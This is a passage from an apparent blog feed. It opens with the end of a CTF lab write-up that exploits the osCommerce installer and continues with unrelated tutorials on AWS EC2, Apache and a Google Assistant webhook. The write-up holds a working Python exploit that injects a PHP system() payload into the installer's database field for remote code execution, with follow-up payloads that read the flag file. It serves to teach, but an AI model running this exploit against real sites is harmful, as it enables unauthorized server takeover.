&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;system(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;);&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;    &lt;span class="c1"&gt;# this is where you enter you PHP payload
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/*&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DB_DATABASE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;

&lt;span class="c1"&gt;# exploit it
&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Successfully launched the exploit. Open the following URL to execute your code&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;install/includes/configure.php&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Exploit did not execute as planned&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let us run the exploit.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F5svf0dvxe8qumfs71w8p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F5svf0dvxe8qumfs71w8p.png" alt="exploit output"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The output in the terminal says the exploit was successful, buts let's checkout if it actually works.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F7lgwomfd4oy5h50mirc6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F7lgwomfd4oy5h50mirc6.png" alt="shell output 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Opening the link that was printed on the console actually runs the ls command on the server. Now we have shell access to the application that allows us to perform RCE(Remote Code Execution). Now let us change the command from the exploit code and let us try to find the flag file on the server.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Try 1&lt;/strong&gt;: cd to the root of the server and check if there are any interesting files or folders.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;I have changed the payload to the following&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;system(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cd / &amp;amp;&amp;amp; ls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;);&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;    &lt;span class="c1"&gt;# this is where you enter you PHP 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run the exploit again and check the output.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fz1myqizn0mljk8h09okw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fz1myqizn0mljk8h09okw.png" alt="shell output 2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The app folder looks interesting. Change the payload in the exploit, list the files in the folder and you should find a flag file. print out the flag file to get your flag.&lt;/p&gt;

&lt;p&gt;Our final payload looks like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;system(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat /app/flag*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;);&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;    &lt;span class="c1"&gt;# this is where you enter you PHP payload
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There you go, your flag which is a md5 hash.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fluk19ts6b145ejvr3ki7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fluk19ts6b145ejvr3ki7.png" alt="flag"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Bingo🎉, we just solved our first lab.
&lt;/h2&gt;

&lt;h1&gt;
  
  
  Let us try to understand what just happened
&lt;/h1&gt;

&lt;p&gt;I you look back at the exploit code you will see that we are just sending a post request with a crafted payload. So I downloaded the source code of osCommerce(you can find it &lt;a href="https://www.oscommerce.com/Products" rel="noopener noreferrer"&gt;here&lt;/a&gt;) and the problem lies with the osCommerce installation process.&lt;/p&gt;

&lt;p&gt;So the problem is osCommerce doesn't put a check on if the app is already installed, this will allow the attacker to access the installation process again and reconfigure the site without having any user level access. In the payload we are sending the post request to &lt;strong&gt;step 4&lt;/strong&gt; because in step 4 of the installation process we are asked to configure the database and rest of the information and is written to the &lt;code&gt;install/includes/configure.php&lt;/code&gt;. And the major problem here is that the input provided by user is not sanitized, this allows attacker to send crafted input as we did in the exploit above which allows us to inject the system command into the configure.php file. So when you open the configure.php file from your browser the system command that was injected gets executed and thus we have remote shell access to the server. This marks the end of this lab.&lt;/p&gt;

&lt;h1&gt;
  
  
  Happy hacking 👨‍💻
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://i.giphy.com/media/l3vRmVv5P01I5NDAA/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/l3vRmVv5P01I5NDAA/giphy.gif" alt="happy hacking"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>rce</category>
      <category>hacking</category>
    </item>
    <item>
      <title>What is the difference between an ODM and an ORM</title>
      <dc:creator>Anudeep Reddy</dc:creator>
      <pubDate>Fri, 07 Feb 2020 10:15:00 +0000</pubDate>
      <link>https://dev.to/anudeepreddy/what-is-the-difference-between-an-odm-and-an-orm-2e7a</link>
      <guid>https://dev.to/anudeepreddy/what-is-the-difference-between-an-odm-and-an-orm-2e7a</guid>
      <description></description>
      <category>explainlikeimfive</category>
    </item>
    <item>
      <title>Get started with AWS EC2</title>
      <dc:creator>Anudeep Reddy</dc:creator>
      <pubDate>Thu, 26 Dec 2019 05:56:27 +0000</pubDate>
      <link>https://dev.to/anudeepreddy/get-started-with-aws-ec2-ejg</link>
      <guid>https://dev.to/anudeepreddy/get-started-with-aws-ec2-ejg</guid>
      <description>&lt;p&gt;Amazon Web Services (AWS) is a secure cloud services platform, offering compute power, database storage, content delivery and other functionality.&lt;br&gt;
The AWS Cloud spans 69 Availability Zones within 22 geographic regions around the world, with announced plans for 13 more Availability Zones and four more AWS Regions in Indonesia, Italy, South Africa, and Spain.&lt;br&gt;
One of their services is Amazon Elastic Compute Cloud, which allows users to have at their disposal a virtual cluster of computers, available all the time, through the Internet.&lt;/p&gt;

&lt;p&gt;This Post is all about the Amazon EC2 &lt;strong&gt;what is it?&lt;/strong&gt;, &lt;strong&gt;Creating and accessing your own EC2 instance&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What is EC2?
&lt;/h2&gt;

&lt;p&gt;EC2 stands for &lt;strong&gt;Elastic Compute Cloud&lt;/strong&gt;. It is a web service which allows people to run applications and workload on virtual machines in the AWS cloud.&lt;br&gt;
Basically they are the virtual servers in the cloud which the users can access and deploy their applications to. The benefits of using Amazon EC2 include the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ELASTIC WEB-SCALE COMPUTING&lt;/li&gt;
&lt;li&gt;COMPLETELY CONTROLLED&lt;/li&gt;
&lt;li&gt;FLEXIBLE CLOUD HOSTING SERVICES&lt;/li&gt;
&lt;li&gt;INTEGRATED&lt;/li&gt;
&lt;li&gt;RELIABLE&lt;/li&gt;
&lt;li&gt;SECURE&lt;/li&gt;
&lt;li&gt;INEXPENSIVE&lt;/li&gt;
&lt;li&gt;EASY TO START&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Setting up a EC2 instance is pretty straight forward. You can choose an instance type and the operating systems from a wide variety of options available in the AWS console. The user is given control to setup the memory and network configuration. AWS charges users on hourly basis for EC2. The users can also assign a Elastic IP(Static IP) to their EC2 instance. If you want to setup a domain and need a DNS then &lt;strong&gt;AWS Route 53&lt;/strong&gt; is at your service.&lt;/p&gt;
&lt;h2&gt;
  
  
  Creating your own EC2 instance
&lt;/h2&gt;

&lt;p&gt;If you are here then let me assume that you have already signed up to the AWS and added a Payment option. If you are haven't done any of that yet then go ahead and do it now.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sign in to your AWS console. Head over to this link to sign in &lt;a href="https://aws.amazon.com/" rel="noopener noreferrer"&gt;https://aws.amazon.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Your console should look something like this.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F767f925357904042451290de69979e81%2Ff3ff0%2Fconsole.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F767f925357904042451290de69979e81%2Ff3ff0%2Fconsole.webp" alt="AWS Console"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Now click on the services in the top navigation bar and then click on EC2 that is under compute section to navigate to the EC2 dashboard.&lt;/li&gt;
&lt;li&gt;Now in the EC2 dashboard you will see a button called &lt;strong&gt;Launch Instance&lt;/strong&gt; click on that to start setting up your instance.&lt;/li&gt;
&lt;li&gt;In the first step you will be asked to Choose an Amazon Machine Image(AMI). AMI is basically the operating system that you want to run in your EC2 instance. Few images are free to use where as there are few images for which we need to pay additional licensing fees.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F364ee74665542706d4d43ddce863a72c%2Ff3ff0%2Fec2-1.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F364ee74665542706d4d43ddce863a72c%2Ff3ff0%2Fec2-1.webp" alt="EC2 AMI Setup"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We will be choosing &lt;strong&gt;Ubuntu Server 18.04 LTS (HVM), SSD Volume Type&lt;/strong&gt; for this tutorial. Feel free to choose your own.&lt;/li&gt;
&lt;li&gt;In the next step you will be asked to choose an Instance type, Amazon EC2 provides a wide selection of instance types optimized to fit different use cases. Instances are virtual servers that can run applications. They have varying combinations of CPU, memory, storage, and networking capacity, and give you the flexibility to choose the appropriate mix of resources for your applications.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F4160d2abd22e9f7f17071b92dbc31a3c%2Ff3ff0%2Fec2-2.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F4160d2abd22e9f7f17071b92dbc31a3c%2Ff3ff0%2Fec2-2.webp" alt="EC2 Instance Type"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can now just Review the settings and Launch the instance directly or Configure other instance details, Add aditional storage and also configure the security group.&lt;/li&gt;
&lt;li&gt;We will just leave the other details unchanged and head over to the 6th step to configure the security group.&lt;/li&gt;
&lt;li&gt;This section allows you to configure the firewall rules that control the traffic to our instance.&lt;/li&gt;
&lt;li&gt;By Default the instance allows traffic on port 22 for establishing a SSH connection to the Server.&lt;/li&gt;
&lt;li&gt;Now let us configure it to allow http traffic on port 80.&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;Add Rule&lt;/strong&gt; and populate the type field to HTTP and all the other fields are automatically filled.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2Fdecc82d3dc233de6e1a3ec822036a99c%2Ff3ff0%2Fec2-3.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2Fdecc82d3dc233de6e1a3ec822036a99c%2Ff3ff0%2Fec2-3.webp" alt="EC2 firewall"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Now click on &lt;strong&gt;Review and Launch&lt;/strong&gt; button at the bottom. Now you will see the entire configuration for your instance. If everything looks good then click on launch.&lt;/li&gt;
&lt;li&gt;Once you click on launch you will be asked to create or use a existing Public key and Private key pair. Create a new key pair, Give the key pair a name and once you download the key click on Launch.
This key will be used to authenticate us to the EC2 instance via SSH.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Accessing your EC2 Instance
&lt;/h2&gt;

&lt;p&gt;Once you are done with creating your EC2 instance then you will be redirected to a page where you can access all your running instances.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Select the instance that you want to connect to, Once you have done that the connect button will be enabled. Clicking on the button will give you instructions to connect to your instance.&lt;/li&gt;
&lt;li&gt;Open up a terminal and navigate to the location where you stored your key that you downloaded during the creation process.&lt;/li&gt;
&lt;li&gt;For me it's Downloads. If you are on windows machine then fire up bash or terminal in linux and OSX.&lt;/li&gt;
&lt;li&gt;Give your key the right permissions by typing this command:

&lt;code&gt;sudo chmod 400 [PATH/TO/THE/KEY]&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F0fa7c6d060b74d55ce4037c8cc0fb865%2Ff3ff0%2Fterminal.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F0fa7c6d060b74d55ce4037c8cc0fb865%2Ff3ff0%2Fterminal.webp" alt="Terminal"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Once you are done doing that Copy down the example command shown in the EC2 dashboard and run it in your terminal.&lt;/li&gt;
&lt;li&gt;That's it you are now connected.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2Fe540127ad60c6502d190e1fdca1e5187%2Ff3ff0%2Fterminal1.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2Fe540127ad60c6502d190e1fdca1e5187%2Ff3ff0%2Fterminal1.webp" alt="Terminal-connected"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Setting up a apache webserver
&lt;/h2&gt;

&lt;p&gt;As you are connected to the machine via SSH, You now have a terminal access to the virtual machine and you can run commands to perform operations on it.&lt;/p&gt;

&lt;p&gt;We have already allowed traffic on port 80, so now we can access our website if we host one on this virtual machine. To setup a simple webserver let us install apache.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get update
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;apache2 &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now type the following command to start the apache server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;service apache2 start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now open your web browser and navigate to the IP assigned to your EC2 instance. You should be able to see the following page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F04b25b060e9ad5257b0c7449d45d5bf3%2Ff3ff0%2Fapache.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.me%2Fstatic%2F04b25b060e9ad5257b0c7449d45d5bf3%2Ff3ff0%2Fapache.webp" alt="Apache home page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have successfully installed apache now.&lt;br&gt;
If you want to host your own website then modify the files located at &lt;strong&gt;/var/www/html&lt;/strong&gt;. That directory contains the files of your website.&lt;/p&gt;

&lt;h2&gt;
  
  
  Assigning an Elastic IP
&lt;/h2&gt;

&lt;p&gt;The IP address that is currently assigned to the Instance will be lost if you reboot the instance. So if you want your instance to have a static IP then AWS offers something called Elastic IP. You can assign a static IP to the instance using Elastic IP.&lt;/p&gt;

&lt;p&gt;Follow these steps to assign a Elastic IP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In the sidebar of the EC2 instance dashboard you will find Elastic IP under &lt;strong&gt;Network and security&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click on allocate elastic IP. &lt;/li&gt;
&lt;li&gt;Once that's done. Select the IP and click on actions and click on &lt;strong&gt;Associate Elastic IP address&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;In the next page select the Instance to which you want to assign that IP to.&lt;/li&gt;
&lt;li&gt;Click on Associate and you are done. The Elastic IP is associated to your instance.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;NOTE: The Elastic IP is a chargable service.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Check out the pricing in the AWS pricing page&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;AWS EC2 is an easy way to get started with cloud computing as a beginner. AWS also provides one year free tier services if you setup your payment information. With the AWS free tier you can access all the basic services provided as a part of AWS for free. Claim your free one year now by signing up and providing your payment info.&lt;br&gt;
Navigate to this page to know more &lt;a href="https://aws.amazon.com/free/?all-free-tier.sort-by=item.additionalFields.SortRank&amp;amp;all-free-tier.sort-order=asc" rel="noopener noreferrer"&gt;https://aws.amazon.com/free/?all-free-tier.sort-by=item.additionalFields.SortRank&amp;amp;all-free-tier.sort-order=asc&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thank you!&lt;/p&gt;

&lt;h3&gt;
  
  
  Feel free to leave your comments below
&lt;/h3&gt;

</description>
      <category>aws</category>
      <category>cloud</category>
      <category>ec2</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Easy drag and drop tools to build your frontend</title>
      <dc:creator>Anudeep Reddy</dc:creator>
      <pubDate>Fri, 25 Oct 2019 12:21:59 +0000</pubDate>
      <link>https://dev.to/anudeepreddy/easy-drag-and-drop-tools-to-build-your-frontend-33pd</link>
      <guid>https://dev.to/anudeepreddy/easy-drag-and-drop-tools-to-build-your-frontend-33pd</guid>
      <description>&lt;p&gt;I have been searching for drag and drop tools to build my frontend for the nodejs backend i write. Ended up finding bootstrap studio. Do you guys have any better alternatives?&lt;/p&gt;

</description>
      <category>ddiscus</category>
    </item>
    <item>
      <title>Build a Webhook for Google Assistant Action</title>
      <dc:creator>Anudeep Reddy</dc:creator>
      <pubDate>Wed, 26 Jun 2019 12:34:35 +0000</pubDate>
      <link>https://dev.to/anudeepreddy/build-a-webhook-for-google-assistant-action-4312</link>
      <guid>https://dev.to/anudeepreddy/build-a-webhook-for-google-assistant-action-4312</guid>
      <description>&lt;p&gt;This post is all about how to build your webhook for your Google Assistant action and host it temporarily on Gitpod and test your code.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt; Node JS&lt;/li&gt;
&lt;li&gt; Express JS&lt;/li&gt;
&lt;li&gt; Basics on how to use Github&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you have these in place, Let's get started.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Gitpod?
&lt;/h2&gt;

&lt;p&gt;First of all I would like to start this section by saying, I ❤ Gitpod. Gitpod is an online IDE for Github. Gitpod provides you with a fully working development environment, including a VS Code-powered IDE and a cloud-based Linux container configured specifically for the project at hand. Just prefix your Github repo URL with "&lt;a href="https://gitpod.io/#" rel="noopener noreferrer"&gt;https://gitpod.io/#&lt;/a&gt;", So that the final link looks something like this "&lt;a href="https://gitpod.io/#https://github.com/" rel="noopener noreferrer"&gt;https://gitpod.io/#https://github.com/&lt;/a&gt;/" or you can also use the Gitpod &lt;a href="https://chrome.google.com/webstore/detail/gitpod-online-ide/dodmmooeoklaejobgleioelladacbeki?hl=en" rel="noopener noreferrer"&gt;browser extenstion&lt;/a&gt; to add the Gitpod button to Github page.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/bFZMKpDV3GQ"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Let's start building
&lt;/h2&gt;

&lt;p&gt;I have created a Github repo which will help you get started without any hassle. The repo is basically a boilerplate to get started with building your webhook. The code is written in Node JS, So it would be easier for you to build on top of it if you are already familiar with Node JS. We will be using the &lt;a href="https://www.npmjs.com/package/actions-on-google" rel="noopener noreferrer"&gt;action-on-google&lt;/a&gt; Node JS library (This client library makes it easy to create Actions for the Google Assistant and supports Dialogflow, Actions SDK, and Smart Home fulfillment.).&lt;/p&gt;

&lt;h3&gt;
  
  
  Create your Action
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Head over to &lt;a href="https://console.actions.google.com/" rel="noopener noreferrer"&gt;https://console.actions.google.com/&lt;/a&gt; and click on New Project.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-28-141627.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2FAnnotation-2019-06-28-141627.png" alt="Annotation-2019-06-28-141627"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enter your project name and click on create project.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fgitpod-action.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Fgitpod-action.png" alt="gitpod-action"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Now select a category for your Action.&lt;/li&gt;
&lt;li&gt;Now under the Develop menu, give your action a name.&lt;/li&gt;
&lt;li&gt;Now head over to actions menu in Develop tab and click on &lt;strong&gt;Add your first action&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Ftemp2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.anudeepreddy.ml%2Fcontent%2Fimages%2F2019%2F06%2Ftemp2.png" alt="temp2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
